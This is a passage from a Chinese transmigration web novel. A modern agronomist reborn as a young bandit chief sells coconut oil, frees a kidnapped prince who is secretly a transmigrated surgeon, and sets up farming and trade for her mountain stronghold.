掌柜被她这副模样哄得开心:“市面上白糖六十文一斤,你这糖品相比起来还是稍微次了一点。这样,我也不让你吃亏,四十五文我全要了。”
陆令嘉在心里算盘打得噼啪响忙不迭地点头同意。
这下是真的赚了个盆满钵满啊!
她看向这醉仙楼的掌柜,就好像看到了闪闪发光的金主爸爸!
4. 第 4 章
陆令嘉揣着满满的荷包心满意足地走了出去。
第一次觉得刺眼的阳光竟也如此可爱!
身上有钱,腰板也硬了。
再次走到粮油店时,身上的底气十足。
她这逛逛那看看,最后买了五十斤糙米,五十斤精米,顺带又去杂货铺买了些盐和酱料。
把几样东西一捆,放到了一个小板车上。
现在的盐都是官制的,管控严格。虽然他们四周环海,有着天然的制盐优势,但是她也不好私下贩卖私盐。
这可是要掉脑袋的!
可不能有钱赚没命花啊!
路过菜市场时,她看到门口处正围着一大圈人,时不时还发出一阵阵吼叫,她手上推着个板车,好奇地踮脚打量一二。
日头都快要下山了,这会儿菜市场应该也没什么人了才是,这是在干什么?
她刚钻了一个空子进去,就看到大家围着两只鸡正在打架,其中一只黑白相间的斑纹的芦花鸡格外亮眼。
周围的人群兴奋的呐喊:“上啊,啄它!用力!啄啄啄!”
陆令嘉看着这些人一个个唇角紧绷,双眼猩红,马上就知道了是怎么回事。
原来是斗鸡啊。
这是一群赌鬼在聚/众/赌/博呢?
她盯着地看了一会儿,正准备离开,两只鸡就分出了胜负。
芦花鸡惨败收场,不仅身上的毛被啄得七零八落的,走起路来也变得一瘸一拐的。
它的主人输了银子,气得踢了一脚,骂骂咧咧,芦花鸡顿时咯咯咯地倒在地上。
陆令嘉在拥挤中隐约还看到了陆大郎的影子,只见他往地上啐了一口,又跟着人群散开了。
陆大郎居然还有银子来赌钱?!
不过此时她也顾不上去抓人,还有正事要办。
她顺着人群又挤到了芦花鸡主人的旁边,问道:“大叔,这只鸡你卖不卖?”
眼前这个大叔正输了钱,正在气头上,看见一个女娃娃莫名其妙地问他买鸡,有点不耐烦:“走走走,没看到我正心烦吗!”
陆令嘉:“大叔,你看这只鸡脚也瘸了,肯定是不能再上场了,不如卖给我吧。”
大叔见她神情认真,不像是在逗他,便问道:“你真要这只鸡?你一个女娃娃买回去做什么?”
陆令嘉:“买回去养着。”
其实她是想买回去配种。
芦花鸡的营养价值多高啊!这是只公鸡,到时候再买几只母鸡回去,芦花鸡生的鸡蛋也好吃!
那大叔若有所思:“我这是斗鸡,价格可比平常的鸡都要贵。”
陆令嘉眨眨眼睛,一脸天真的样子:“大叔,可是你这只鸡毛都掉光了呀,看着就不威风,应该比平常的鸡再便宜点才对。”
“那可不行,我这只鸡买来的时候足足花了我一两银子呢!”
“大叔,您养着它还要额外花银子呢,说不定到时候还会一直赔钱,卖给我养着,把霉运都带走了,兴许下次新的斗鸡就能赢了呢!”
这位大叔被她隐隐说动,摆摆手,“好吧好吧,那便宜一点算给你了。”
主要是他也想赶紧脱手,看着这只害他输了这么多银子的鸡就来气!
陆令嘉开开心心地付了钱,又去买了几只大母鸡和小鸭崽,照着老路回到寨子里。
-
等她回到寨中时,天已经完全暗下来了。
陆令嘉满载而归,一整个板车上都放满了东西,后面还带着一串鸡鸭,把众人都惊呆了!
老陆当家在世的时候也没有钱这么造啊!
她先把米拿出来,让负责烧饭的张婶先给大家伙做饭。
“五叔、六叔呢?”
陆令嘉没见到她几个叔叔,正纳闷呢。财政大臣不在,她怎么记账!
张婶把米淘好,笑呵呵地说道:“我前头还看到他们两个了,应该是在旁边的柴房里,大当家你去那边瞅瞅。”
这么多米,今天大家伙都能吃顿饱的了!
陆令嘉点点头,端起桌上的茶水喝了一口,便去找人。
她推开房门,没看到五叔六叔,茅草稻上倒是有个男子,他双手被麻绳绑着,衣裳凌乱,略显狼狈。
陆令嘉视线微微上移,呼吸顿时漏了两拍。
好一个绝世美男!
男子墨发束起,飞眉入鬓,身上散发的矜贵气息和周围的环境格格不入。
他就这么静静地躺在地上,如风拂玉树,雪覆琼枝,冷浸溶溶月。
还没欣赏够,六叔大咧咧走了进来,看到她一脸惊喜:“陶陶回来了啊!”
他观察着陆令嘉的神色,瞧她一直盯着这地上的小子迟迟没有挪开眼睛,立马高兴地拍手:“我和你五叔他们今早去打猎,路上碰到这小子,见他有几分姿色就给绑来了。”
他后面半句没说,毕竟是给陶陶当压寨夫婿的,满不满意还得她点头。
陆令嘉心下一沉,瞪大了眼睛惊呼:“什......什么?!”
她刚刚是纯粹抱着欣赏美人的心理,现在听完这话才仔细打量着这人的穿着。
男子一身暗紫色衣袍,衣襟和袖口都用金丝勾勒出精致的云纹,腰间束以一条同色的玉钩绸带,绸带上还坠着一个玉佩,温润光泽,一看就是身份尊贵之人。
陆令嘉捶胸顿足!
六叔!糊涂啊!
她趁着人还没醒赶紧给人松绑,又掂起他腰间玉佩仔细一看,一个硕大的“南”字刻在上头。
陆令嘉两眼一黑,直接晕厥。
这不就是书中那个反派男配平南王吗?!
怎么兜兜转转还是被掳这儿来了!
陆六叔看着陆令嘉忙前忙后,还道她是看中了正心疼这男人呢。他哈哈大笑:
“陶陶你喜欢就好!那过几天大家伙给你们布置布置就拜堂成亲吧!”
陆令嘉一听,当场就要表演一个原地去世。
陆六叔,你可真是个老六啊!
人家什么身份都不知道就给抓来了!
还要我们拜堂成亲?
我看你是嫌我命太长!!
陆令嘉连忙表明态度:“六叔,以后这种绑架的事情千万不能再干了!”
她累死累活通宵加班,为的不就是让大家以后不要再走上违法犯罪的道路吗!
陆六叔不理解,嚷嚷着:“为啥?你嫌这男人长得太俊俏?我刚刚摸了,别看这小子长得一脸书生相,但是身上的肌肉可结实了!以后劈柴烧水不在话下!”
陆令嘉扶额:“别——千万别!!六叔,知道你们都替我操心,但是绑人是要坐牢的!”
“那又怎么了——”
陆令嘉咆哮了:“现在我是大当家,我说不行就是不行!以后违法的事情一律不准做,听到了吗!”
陆六叔被她这一吼有点震惊到,茫然地点点头算是应下了。
他纳闷啊,这男人到底有啥魔力?!
咋陶陶一见到脾气都变得暴躁了!
看来男人还是不能长得太俊了,祸水啊!
六叔摇头晃脑恨铁不成钢地走了出去。
陆令嘉赶紧把人拖到了她的屋子里,放到床上。
这位可是屠了他们整个寨子的阎王爷!
这还不得好吃好喝招待着!
唉。
又得加班了。
陆令嘉认命似地去杀了只鸡,又去厨房找张婶说了一声,准备亲自掌勺。
她以前跟导师经常奔波各个城市的种植基地,经常一待就是几个月,因着也学会了不少当地的特色美食。
刚来这两天,又是给原主的爹发丧,又是熬油制糖,进城买卖的,根本没有时间好好歇息一会儿,连吃饭也都只是囫囵吞几口。
黑风寨的厨房也十分简陋,除了个土灶台,几乎啥也没有。
将就着用吧。
陆令嘉撩起袖子,手起刀落将鸡肉洗净切块,均匀地摸上调料腌制。待锅烧热,倒入一勺椰油膏,将鸡肉煸炒变色收汁,最后再放入椰肉、红枣等配料焖炖。
椰子鸡,未来海南岛的特色美食。
寨子里目前最好的食材,算是便宜他了!
她在灶边一边等着锅里的菜肴焖熟,一边还要分神去屋子里溜达一下看看那个反派王爷醒了没有。
这时,四叔、五叔还有寨子里一个小伙子石头,三个人扛着一只野猪走到了厨房外的院子里。
“大当家快来看,我们打到一只野猪了!”
陆令嘉一听,放下锅铲立马跑了出去。
这只野猪额外得大,躯干粗壮,浑身上下都是灰褐色的毛发。它的肚皮中间插着三四根木棍,看着几个人是费了不少功夫!
真是缺什么来什么!
这么大一只野猪,今天能加餐了!
陆令嘉高兴地冲几人拱手:“辛苦大家了!”
石头:“不辛苦的——”
陆五叔:“确实颇费了几番周折......”
陆令嘉指挥着大家把猪毛剃了,等等她来做一桌宴席犒劳大家,众人顿时欢呼起来!
“这下是真的有肉吃了!”
“大当家威武!”
陆令嘉跟他们插科打诨的时间,椰子鸡的香味顺着厨房飘到了外面。
陆六叔正巧路过,使劲地嗅了嗅鼻子:“什么味,这么香!”
陆令嘉赶紧跑进厨房,掀开锅盖。
椰子的清香和鸡肉香混在一起,空气中的气味愈发浓郁了。
陆六叔平时就爱好一口吃的,口水都顺着唇角流了下来:“陶陶,你烧了什么?”
“是椰子鸡,椰子肉和鸡肉炖在一起。”陆令嘉解释道:“我做了些新鲜玩意,今日去县城里换了点钱,这不就买了几只鸡鸭,准备以后放寨子里养着。”
张婶凑上前来说道:“鸡鸭好啊,养起来以后还能下蛋!”她的儿子才两岁大,正是需要吃鸡蛋补身子的年龄。
陆令嘉刚好招呼五叔六叔,“五叔六叔,你们把野猪处理好了就过来一趟,我今日赚了不少钱,你们记下账。”
她点了点寨子里的人头,又道:“等等吃完饭再让寨子里的人都来前厅开个会,我想到几个赚钱的法子,从明天起大家都要一起干活。”
石头不解,挠着头问:“什么是开会?”
陆令嘉:“......”
一时忘了,她又习惯性地讲现代词语!
陆令嘉:“呃……就是大家伙坐在一起商讨一些事情。”
“好!”
众人应下,闻着厨房里飘来的香味,处理起野猪来也更加卖力了!
-
谢昭迷迷糊糊地睁开眼睛,发现自己又换了一个新地方。
这又是哪里?
他昨天刚来到这个世界,还没能完全适应环境,怎么又换了一个?
谢昭揉着脑袋仔细回想事情经过。
今天一早,原主的下属兼好友拉他一同去山中打猎,后来两个人走散了,他只记得被一头野猪冲撞,然后就晕了过去。<
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莫非是山中哪位好心的猎户路过救了他?
他起身下床,刚走出房门就闻到了一阵香气。
抬眼望去,一大群人正热热闹闹地铺桌摆凳,这是正准备吃晚饭?
谢昭的肚子不争气地咕咕作响。
原主是个将军,可军营里的伙食实在是难以下咽,他昨天一天都是随便扒拉了几口饱腹了事。
在他原来的世界里,他是一家三甲医院的外科主任医师,每天忙起来天昏地暗的,也是随便买个盒饭随便对付几口,但也不至于难吃到这种地步!
谢昭顺着香味寻去,当务之急还是要先填饱肚子。
他走到门口,看到为首的一个女孩子正举着锅铲在人群中言笑晏晏。
锅里的炊烟升起,遮挡住他的眼帘。谢昭看不清她的模样,只依稀能听到她声音里的笑意,还有抬眼与他对视时,有一瞬的迷离。
谢昭不好意思地挤进人群,咳了一声:“抱歉,我醒了之后发现就在这里了......”他不知该如何解释,神情有些尴尬:“不知......”
话音还未落下,陆六叔盯着他突然开口:“欸,你怎么这么快醒了!我记得......唔唔......”
“六叔!”陆令嘉立马大步向前,捂住陆六叔的嘴巴打断他的施法。
她推开人群,目光对上这个书里杀人如麻的大反派。男人的眼眸清澈疏离,笔直地站着,脸上冷若冰霜。
她想起书中的剧情,呼吸跟着一瞬的停滞。
急忙压下起伏的心情,开始她的表演:“公子你总算是醒了!”
“我这几个叔叔上山打猎,正巧看到这一只野猪正朝你冲来。等他们拼尽全力,身负重伤把野猪杀死,这才发现你已经昏迷了。
因为不知你身住何处,只好相互轮流把你背回寨中养伤。”
她一边说着一边抹眼,动情处甚至落下几滴泪水。
谢昭了然,原来是这样啊!
他不知为何总觉得此人有些眼熟,但在脑海中确认多次,没发现有什么交集。再加上他向来性子冷淡,便也作罢。
但好歹也算是救命之恩。
他双手抱拳,冲着人群拱手道谢:“在下谢昭,多谢几位英雄相救。初来崖州,日后诸位若有需要帮忙的,必尽力以报!”
崖州既然是他管辖的藩地,有什么小事他应该也能帮上忙吧?
陆令嘉听罢,立刻收起了鳄鱼的眼泪,冲他咧嘴笑了一下。
幸好她演技过关!
而且这反派男配看起来还挺好忽悠。
所以原主到底是做了什么天怒人怨的事情,才会导致全寨覆灭?
小命保住,她心中最重要的一桩大事总算落下,高兴地邀请谢昭一同前来用餐。
按书中剧情,这王爷左右也活不过几日了,就当提前给他送行了。
“来来来,一块吃!”
陆六叔听到陆令嘉开口,立刻上前揽着他落座。
这个大侄子的模样是真招人喜欢!
谢昭一下子被突如其来的热情惊到,微愣片刻,随即点头落座。
陆六叔又哥俩好地把碗筷给谢昭摆上,往他碗里夹了一块刚刚做好的酱猪肘子。
“快吃啊,千万别客气!这肉就是那头野猪身上的,刚杀的,新鲜!”
谢昭道了声谢,端方从容地小口嚼食。
虽然他动作优雅,速度却不比任何人慢。
酱猪肘子经过火烤,又炖了这么长时间,早就酥烂香醇,一口一个,不一会儿盘子里就堆满了骨头。
黑风寨的人已经有很长一段时间都没有吃到肉了,见新来的这人如此不客气,一个个都直接上手争抢,唯恐落下半步
不一会儿,一大锅猪肉都已经被大家瓜分干净。
暮色沉沉,月光浮动。
沉寂许久的黑风寨在炊烟袅袅中重新热闹起来。
谢昭轻轻地放下筷子,得到了极大的满足。
陆六叔一脸嫌弃地看着他。
亏他一开始还这么看好这个大侄子。
好家伙,一个人就干掉了大半锅猪肉。
连最后的那么一大碗椰子鸡汤都被他一个人喝完了!
看着斯斯文文的,怎么这么能吃!
要是真招来给陶陶当压寨夫婿,以后抢饭谁特么抢得过他!
他在心里腹诽着,丢下一个鄙夷的眼神就离去了。
谢昭还纳闷呢,刚刚还跟他称兄道弟的人,怎么说走就走。
这时,张婶一边收拾着桌上的残局,一边请示陆令嘉:“大当家,剩下还有半只猪怎么处理?”
陆令嘉今天也吃爽了,餮足地舔舔唇角,“张婶您看着办吧,要么明儿我给大家再做一顿!”
张婶“欸”了一声,又笑着道:“大当家,你可太能干了,连做饭都这么好吃!”
陆令嘉嘿嘿一笑,没有再接话。
她懒懒地靠在椅子上,欣赏着漫天的星星。
好久没有见到这么璀璨的星空了。
谢昭听着他们几个人你一言我一语,脑袋发蒙,最后拉了一个看着像是同龄人的,试探地问道:“敢问这是何地?”
石头挠头:“黑风寨啊......”
谢昭不敢置信:“那刚刚那个姑娘?”
石头顺着他手指的方向,“哦”了一声,解释道:“那是我们大当家,我们寨里的这个。”他竖起大拇指,以示尊敬。
谢昭恍惚了,所以,他这是到了土匪窝了?!
5. 第 5 章
谢昭用完饭后就回屋自个儿休息了。
他方才听到这群山匪要开会时觉得还挺新奇。
没想到这里的山匪还挺有思想,与时俱进。
不过谢昭对这些都没有兴趣,今日饱食一顿已觉得甚是值得。
尤其是这些菜肴,比他在现代某些餐馆里吃得还要鲜香。
只是他如今的身份有诸多不便,若是被下属找到,迟早还是要回去继续吃那军营中的水煮大锅饭。
想到这,他的神色又有些黯淡了,只能在心里默默地叹了口气。
-
黑风寨上下共三十二人,除去生病卧床的,年纪大的,还有一两个嗷嗷待哺的小娃娃,剩下的二十五人现下已全部到齐。
陆令嘉坐在上首清了清嗓子,大声宣布:“以后寨子里有什么大事需要商讨的,大家就聚在这里开会,每个人举手表决。”
她又详细地强调了会议制度和会议纪律,就开始今天的主题。
五叔和六叔在会上公布了寨中的财务支出情况,寨里之前的居然一直处于财政赤字的情况,吃的粮食都是大家伙发卖家当拼凑而成。
也就是说昨天陆令嘉赚的那点钱还不够填补之前的亏空!
太难了。
众人听罢表情都很凝重。
刚刚一顿宴席吃得是很开心,但是明天还是要继续过日子的。
总不能今天大鱼大肉,明天野菜稀粥吧!
那落差也太大了!
大家都把视线转向陆令嘉。
大当家今天召集大家伙开会,肯定是有了主意!
陆令嘉感受到下方一群人炽热的视线,拍桌站起,提出了她的计划。
“从明天起,除了寨子里所有人都要开始做活。我会按每个人的特长分成不同的组别。若有异议一个月后再调整。”
分组是她昨天就想好的。
四叔会做木工,可以带几个徒弟,赶制一批木制玩具出来。
张婶等几个女眷一组,去沿路采摘些鲜花,这活轻松,但是可以尝试做一些花露还有胭脂去售卖。
最后再分耕地组和制油制糖组。
她记得听六叔提过一嘴,黑风寨在山后也有几块地种植了稻谷,只是收成不怎么好。
她准备去实地考察一番,看看怎么改善作物环境,这也是她最擅长的。
制油制糖组就负责去采集桄榔和椰子。油和糖的生意还可以继续做下去,等醉仙楼用新油炒制的菜肴上市,肯定还会有大量需求。
熬制椰子油的方法简单,得趁着同类产品大量出现之前先抢占市场份额!
陆令嘉宣布完分工后就散会了,寨子里的人各自领完任务,都干劲十足!
大当家这是相信大家伙,准备实打实地带着大家赚钱啊!
不然就那些个配方,随便拿出去都能卖好多钱!
散会后大家都陆陆续续离开了,陆令嘉悄悄把陆六叔拉到一边。
陆六叔略带疑惑:“咋了?”
陆令嘉:“六叔,明日你便找个理由把那个男的送下山去。”她顿了顿,又不放心地交代了一句:“态度要好点。”
“真不打算让他当压寨夫婿啊?”
陆令嘉头摇得波浪似的:“不要!”
她实在是无福消受!
陆六叔一脸遗憾:“行吧,算那个小子没这福气。”
主要今天晚上经他考察,这小子太能吃了。
这得赚多少钱才能养得起他!
他背着手摇摇晃晃地走了。
唉。陶陶的婚事还是得再好好替她琢磨琢磨。
-
翌日一早,晨光熹微。
黑风寨众人都已经摩拳擦掌准备大干一场!
尤其是四叔。
他昨日拿着陆令嘉给他的手稿,恨不得能彻夜研究。
陆令嘉给他画了现代的鲁班锁还有火车轨道等儿童玩具的大致设计图。这两样东西的构造其实她也记得不是很清楚,只能画个大致轮廓。
但是对四叔来说,却是如获至宝!
他当初想进城当学徒,就是因为很多老木工的图纸是不外传的,只有老老实实地给别人当上个几年的学徒,才能学到一些皮毛。
现在陆令嘉给的这几份图纸,里面样式精致,颇有几分巧思。他研究了一晚上这才有了些许思路,一大早就指挥着昨日派给他的徒弟去山上砍树开工了。
剩下的其他人也都充满干劲,去找各自的组长开始今天的任务。
唯独陆二婶钱氏拎着个挎篮站在后面,对着陆二叔摆脸:
“亏你们还是陶陶的亲叔叔,给大哥下葬的时候没少出力吧?现在你看看,让石头那个外姓人去制油制糖。
“你倒好,明明比他们都要有本事,却让你去种田!她是不是还记恨着你想抢她大当家的位置?”
陆二叔也略有不满,不过他没有表现得太明显,只哼了几声。
既然一个月一换,下个月无论如何他都要去制油组。
这么大一个肥差,怎么能便宜了外人!
去后山的路上,陆令嘉一路都在观察着周围环境,走走记记,看到二叔兴致不高,还以为他是之前被自己打伤了,没参与到昨天的打猎心里郁闷。
说起来这事她也有责任。
当时为了立威,只能踩着她二叔“上位”,下手是重了点。
她得想想过些时候怎么补偿一番。
“到了!”陆二叔率先停下了脚步,指着前面的那几块地示意。
陆令嘉这下是真的愣住了。
四周都是郁郁葱葱的树林,这几块地应该是砍了树木就地开拓的。
直到这块地的肥力用完,再去开劈新的地来种植。
刀耕火种啊。
比她想象的还要落后。
【叮——】
【恭喜宿主收录新作物‘山栏稻’,获得10积分,希望宿主再接再厉!】
陆令嘉脑子里忽然跳出了提示。
这里种的居然是山栏稻!
她刚刚竟然没有想到!
陆令嘉的眼神里喷发出炙热的火焰,恨不得立马就冲上去研究一番。
山栏稻,是一种在干旱地带种植的稻种,它不长在水田里,长在山坡上,正是最适合刀耕火种的种植方式。
因为种植方式特殊,对环境要求极为严苛,在现代的种植面积已经逐渐减少。
这可是“米贵如珠”的稻种!
陆令嘉问道:“二叔,这些稻子收成怎么样?”
陆二叔发愁:“一亩地大概还不足百斤。”
这也是他不想选择耕种的一大原因。
耕种实在太看天吃饭了,若是天气不好,他们甚至会颗粒无收。
陆令嘉若有所思。
除却天气原因,估计也饱受病虫灾害的困扰。
她得想个法子把这些问题都解决了。
若是能解决水
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稻旱地分蘖难题,并且通过推广应用杂草萌芽前的封草技术,解决旱地稻田易杂草丛,说不定能实现“水稻上山”,把杂交稻品种引到“山上旱地”种植,也许可以提高不少产量。*
一行人考察完后山的耕种条件,陆令嘉心里也对寨中的现状有了个数。
若想要稻谷短时间内提高产量,首选的还是水稻。
她看了眼系统里的商城。
商城里的售价和她这个时代的货币是1比1的。
也就是说,她想买水稻的稻种,只要积分达到等级限制,拿身上的铜钱就可以自动兑换成商城的金币。
但是就算买了水稻,还有一个问题困扰:现下他们没有水田。
所以现在首要目标还是要努力赚钱,争取去山下买几块肥沃的田地。
陆三叔见陆令嘉站着发呆,这才开口:“陶陶,你没种过地不知道,这些稻谷不用怎么管,平日里我们只要抽空来浇浇水就好了。”
陆令嘉这下真傻了。
敢情他们都不知道自己种的是什么东西啊?
她认真科普:“二叔、三叔,这个稻种,是旱稻,不需要浇水的。”
崖州城的降水比较平稳,只靠日常的降水足够了,地里的水分多了反而会使山栏稻的根部缺氧,导致烂根。
陆二叔不以为意,嗤笑一声:“哪有稻谷不需要浇水的,你小孩子家家不懂别乱说。”
陆令嘉没有应话,只是蹲下来,捻起一根稻穗向众人示意,“你们看,这个稻子的根系发达,根毛多,比起水稻,茎、叶比起水稻也要粗壮茂盛,尤其是它的叶片相对较宽,颜色也更淡一些。”
她说得头头是道,尤其是对于水田里的稻谷和他们现在地里的稻谷应该怎么样不同的种植,列出了不同的方法,一行人中不少人便信服了。
只恨这里没有PPT给她演示,不然必须要跟众人好科普水稻和旱稻的种植区别。
“大当家,那我们现下要做什么?”有人问。
“对于这个稻种,我们只需要燔林成灰,化灰为粪,把地表上的害虫烧死,再把旁边的杂草除掉,等待收成就可以了。”
陆令嘉站起来,拿起一把镰刀就蹲下来开始除杂草。
她跟导师跑试验田的那些时候,经常也是亲自动手参与种植,所以手法并不生疏。再加上她力气大,附近一些刚生长出来的杂草便被她连根拔起。
陆二叔见状,瘪了瘪嘴巴,心里纳闷。
他记得大哥从来没带这个侄女做过农活,怎么她会如此娴熟?
其他几人见状也都跟着开始干活了。
反正跟着大当家有肉吃!他们跟着干准没错!
陆三叔落在后头,跟陆二叔咬着耳朵:“陶陶是真变了不少。”
陆二叔疑惑地看他。
陆三叔:“按理说,我们几个算是陶陶最亲近的亲人了,可是感觉她现在对我们很是防备。
“看,她连制油制糖的配方都给了石头那小子,却让我们几个亲叔叔在这边种地,这是跟我们离心了啊!”
谁知道她那些配方是哪里来的,若是大哥给的,那就是他们的爹留下的。
没道理祖传的东西拿给外人!
陆二叔一听,果然脸色一黑:“我等会儿得找她说道说道,胳膊肘净往外拐是什么意思!”
陆三叔又顺着他的话不阴不阳地拱火了两句,见陆老二的脸色越来越差,这才收了嘴,迈步走到前头一起除草。
6. 第 6 章
陆令嘉正热火朝天除着草。
她一直以来都想尝试研究旱稻,尝试“水稻上山”这个项目,现在刚好就有这个机会了。
【叮——宿主使用正确的方式参与种植,获得积分五十分。】
【恭喜宿主升到2级,解锁更多可以兑换的物品。】
陆令嘉手里的动作停滞了一瞬。
这倒是无心插柳,意外之喜了。
她打开界面开始研究,发现商城里额外多了一些中药材的种子和酿制酱油和陈醋的配方。
药材好啊!
若是能种植成功,既能卖钱也能自用!
这个年代,一个头疼脑热都有可能引发大毛病,而且看病还忒贵了!
崔氏就是因为生完孩子忧思过重,又看不起大夫,拖着拖着,只能采点山间草药服用,所以导致现在身子如此虚弱。
只不过她没有种植中药材的经验,也不知道好不好种。
她在脑海里问着系统:“系统系统,兑换种子的时候会像配方一样给一份种植手册吗?”
脑海中的声音沉寂片刻,回答:【可以,一份手册十个积分,外加五两银子。】
靠!抢钱啊!
她再看向酱油和陈醋的配方。
在古代,这些配方都是真正祖传的,基本上不会传给外人。
陆令嘉的眼睛直溜溜地盯着下面的价格。
同样也是需要十个积分,五两银子。
她哭了,穷哭的。
“系统,我就看看里面酿造需要的材料这总不需要花钱吧?”
她心里打着小算盘,只要知道了需要的材料,多尝试几次,说不定可以省下这么一大笔钱呢。
【系统提示,宿主这是作弊行为,不能接受。】
“不是,买东西前不需要验货的吗?我这是检验一下产品质量,万一你给我一张假配方,我岂不是血本无归!”
【宿主请放心,系统里所有的商品都能保证质量。】
陆·葛朗台的计划落空,只能愤怒地挥动着手中的镰刀。
日落西斜,天际间绚烂的晚霞成片连着蜿蜒的山峦。
鸟儿归巢,鸣声渐稀。
几人在地里忙活了一整天。
虽说不用耕地和灌溉,但是全程弯腰除草也很考验体力和耐力,等他们回到寨子的时候差不多都已精疲力尽。
陆令嘉刚一踏入寨子,就看到谢昭这尊大佛还杵在院子里没有离去。
几个意思?
她赶紧走到陆六叔身边挤眉弄眼:“六叔,这人怎么还没弄走啊?”
陆六叔无奈道:“他说他也记不得自己住在哪里了。”
这小子回答他问题时眼神闪躲,语气支支吾吾,言语中无不表明想再留在寨子里再住几天的意思。
他莫非是还想再蹭几顿饭?!
可是他们就剩这么点肉了,经不住他这么能造的啊!
陆令嘉也不知道这中间到底是哪个环节出错了,绞尽脑汁地想办法应该怎么才能把这个瘟神赶紧送走。
他在这里她害怕啊!
万一一个不慎得罪了他,小命还要不要了?
陆令嘉只能讨好地笑着,先走迂回路线:“公子,你放心,你就呆在寨子里好好休息,我相信你一定能想起来的!”
再不行,索性她找个借口带他去县城,把人往府衙一扔了事!
谢昭一听,淡淡地嗯了一声。
嗯个屁啊!
装什么高冷!
陆令嘉在心里腹诽。
过两天必须把人送走!
-
谢昭如愿以偿地在黑风寨又蹭了几天饭。
别的不提,这女山匪的手艺是真没得说。
即使是山间野菜,到她手里也能变成一道美味的佳肴。
唉。
一想到回去又要吃那些大锅水煮乱炖,他吃得更珍惜了。
谢昭放下筷子擦了擦嘴角,试图跟陆令嘉聊天:“还未问过这位大......姑娘姓名?”
他琢磨着得打好关系,以后说不定还能时不时上山来串串门,改善一下伙食。
陆令嘉手里的筷子一顿,警惕地看着他。
这反派王爷想干嘛?
她一天天好吃好喝的招待着,还没能打消他这剿匪的心思?
不过左右寨子里这么多人,跑是跑不了了,还是得坚持怀柔政策。
她扯了扯嘴角,用最温柔的语气回答:“小女陆令嘉。”
谢昭:“……”
谢昭:“???”
等等!
这不是他那表妹常在他耳边念叨的名字吗?
此女作天作地,恶毒阴险,掳了书中原身要当压寨夫婿。后来还意图拾掇着寨子里的人起兵造反!
一瞬间的错愕让他失神,脑子一片空白。
谢昭一言难尽地看着她,手里的饭突然它就不香了!
陆令嘉见他没再应话,眼神中透露出一丝古怪,只埋头苦吃,不由又温柔地出声提醒:“慢点吃。”
吃这么快干嘛?又不是断头饭!
谢昭噎了一下。
感觉到落在他身上的目光收回,这才松了一口气。
好险。
陆令嘉率先吃饱搁下碗筷,伸了个懒腰,又道:“对了,我今天要去县城卖些东西,要不要带你去那里回忆回忆?”
她都这样说了,总不好再找借口赖在她这里了吧?
每天为了应付他还要时刻保持演技在线,她也很累的!
谢昭许是方才受到的冲击过大,吃得有些心不在焉。
闻言抬眸,欲言又止。
陆令嘉看他神色猜到他心里的小九九,只好拿出她的杀手锏:“若是公子不愿回去,留在寨子里给我当压寨夫婿也挺好的——”
谢昭顿时被米饭呛住,连连咳嗽。
他垂眸应下:“我等等跟你一块走。”
美食误人!他差点被此女的手艺蒙骗,忘记她曾不择手段要把他原身强取豪夺。
终归天下无不散的筵席啊!
吃完饭,陆令嘉便开始收拾这段时间都战果,拎着几大袋东西,准备带谢昭一同进城。
谢昭空手而来,自是空手而去。
他一脸冷峻疏离的模样站在墙角等候,陆令嘉也不好意思让他帮忙搭把手。
只是她今日需要售卖的东西众多,收拾起来颇费了些功夫。
谢昭看着一群人忙忙碌碌的模样,总觉得哪里不对劲,但又说不上来。
隔着人群望去,陆令嘉正乐呵呵地一人扛起一麻袋东西朝他走来。
是了。
她是山匪啊!山匪怎么还要自己做生意的?
他觉得甚是迷惑。
待这里的这么些时日,这群山匪一直努力干活,守法本分。
什么杀人放火、作奸犯科等违法案件他也一概没有发现。
难不成表妹看的那本小说是盗版?
否则也解释不通,这个女山匪一副积极向上五好公民的模样,怎么看也不像是把原主囚禁折磨的大奸大恶之徒啊!
“走了!”陆令嘉拎着袋子,冲着还在发呆的谢昭喊道。
谢昭连忙跟上脚步:“哦哦。”
陆六叔看着两人并肩离去的画面,眉头紧锁,嘴角耷拉。他手背重重地拍着另一只手的掌心,愈发不满起来。
这臭小子!
白瞎吃了他们这么多饭了!
空着手也不知道帮陶陶拎一下袋子!
-
石头也跟着他们一起进城了。
陆令嘉这次要带他去认认路,她怕日后农忙起来,不能按时送货。
但寨子里这么多人等着吃饭,所以还是得找个踏实可靠的人来往山寨和县城负责送货和收钱的。
到了城门口,守卫认出来陆令嘉,对她招了招手。
陆令嘉非常有眼力见地把早就准备好的椰子油递了过去,这次还额外多加了一包糖块。
守卫掂了一下,对她这种上道的行为非常满意,随意地翻检了一下他们的行囊就放行了。
谢昭排在后面看着一直默不作声,直到发现要付进城费时,他才转头向陆令嘉求救:
“我身上没带银两......”
不是吧!堂堂一个王爷,身上连一文钱都没有啊?!
陆令嘉斜睨了他一眼,认命地替他掏钱。
谢昭神色讪讪,耳根弥漫起一丝不易察觉的微红。
进了城门,陆令嘉二人就与他分道扬镳。
她装模作样地跟他道别:“那公子你先自己四处溜达一下,看看能不能想起什么,我和石头先去醉仙楼了。”
最好就此别过,再也不见!
谢昭没应话,深深地看了她一眼。
醉仙楼?莫不是准备去酒楼做什么好吃的?
他神思有些飘了,看着人影渐行渐远。
陆令嘉带着石头到了醉仙楼,掌柜的笑眯眯地就迎了出来。
“陆姑娘,这是有新货到了?”
陆令嘉颔首,示意石头把背篓里的瓦罐拿出来。
这次寨子里的人一起出动,附近的椰子都被他们薅光了,份量比上次要多得多。
醉仙楼的掌柜姓程,这几日用陆令嘉榨的椰子油做菜,还真的吸引了一大批客人。甚至还有不少食客在他这用完餐,问他打听这新制的油卖不卖。
对面春风阁的掌柜眼红,每天见着他都是阴阳怪气的。
但是这也导致了一个问题。
他先前问陆令嘉买的油,一下子就见底了,但是他没有留下她的地址,正恼着怎么问她进新货!
正巧今日陆令嘉带着人来了。
陆令嘉把装满椰子油的瓦罐递了过去:“程掌柜,这些都是新榨好的,您验验货?”
程掌柜眉开眼笑,连连摆手:“不用验,你的手艺我信得过!”
他叫小二赶紧去拿称坨,按照上次的办法称重。
陆令嘉看程掌柜这番行为,心中最后一丝疑虑也消了大半。
她凑近程掌柜的耳边,说道:“程掌柜,我这有两道菜谱,不知道您是否有兴趣?”
“什么菜谱?”
陆令嘉撸起袖子:“不知道方不方便借锅铲一用?”
她准备亲自露一手,先卖程掌柜一个人情,日后他们经常要来往山寨和县城之间,少不了要麻烦人家。
程掌柜眼睛一亮,忙吩咐把厨房空出来。
这丫头竟然敢当面做菜,想必是没打算把她的秘方藏着!要是能学得一二,这酒楼的生意定能再上一层楼!
陆令嘉起了锅,一边说一边示范着。
